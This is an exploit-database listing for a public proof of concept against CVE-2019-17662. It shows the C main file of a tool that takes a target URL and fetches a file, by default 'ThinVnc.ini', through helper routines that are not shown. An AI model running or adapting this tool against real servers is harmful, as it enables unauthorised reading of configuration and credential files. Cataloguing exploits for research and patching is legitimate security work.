Exploit database

GH-8d438ec924eb709da19164cc0affdb82

rajendrakumaryadav/cve-2019-17662-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-17662

9 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
rajendrakumaryadav/cve-2019-17662-exploitRevision 42661fd7af72

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/main.c

Suggested starting fileC · 836 bytes
#include "main.h"

int main(int argc, char* argv[])
{
    if (argc<=1)
    {
        fprintf(stderr,"[" RED("-") "] Incorrect Usage\n");
        help(argv[0]);
    }

    char ch;
    char *url = NULL;
    char *file = NULL;

    while((ch = getopt(argc, argv, "u:hf:")) != EOF)
    { 
        switch(ch) 
        { 
            case 'h': 
                help(argv[0]);
                break;
            case 'u':
                url = optarg;
                break;
            case 'f': 
                file = optarg;
                break;
            default:
                help(argv[0]);
        } 
    } 

    if (url==NULL)
    {
        help(argv[0]);
    }
 
    if(file == NULL)
    {
        file="ThinVnc.ini";
    }

    showvalues(url,file);
    GET_URL(url,file); 
    GET_FILE(url,file);   
        
    return 0;
}